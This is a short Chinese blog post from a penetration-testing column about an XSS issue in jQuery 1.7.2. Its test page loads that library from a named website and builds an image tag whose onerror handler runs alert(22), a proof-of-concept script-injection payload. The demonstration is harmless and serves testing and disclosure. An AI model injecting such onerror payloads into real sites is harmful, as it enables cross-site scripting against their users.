jquery-1.7.2.min.js XSS漏洞

原创已于 2022-01-19 11:04:04 修改 · 2.8k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#javascript #jquery #前端

于 2022-01-19 11:00:49 首次发布

渗透测试专栏收录该内容

5 篇文章

订阅专栏

本文档通过一个简单的HTML页面展示了如何使用JQuery来处理图片加载错误的情况，并触发警告提示。页面中引入了JQuery库文件并设置了一个带有错误处理函数的图片元素。

测试页面：

<!DOCTYPE html>
<html>
<head>
<script src="http://www.esdkkd.com/js/jquery-1.7.2.min.js"></script>
  <meta charset="utf-8">
  <title>JS Bin</title>
</head>
<body>
JQuery链接: http://www.esdkkd.com/js/jquery-1.7.2.min.js
<script>
  var img = $("<img onerror='alert(22);'>");
	img.attr('src','xx');
</script>
</body>
</html>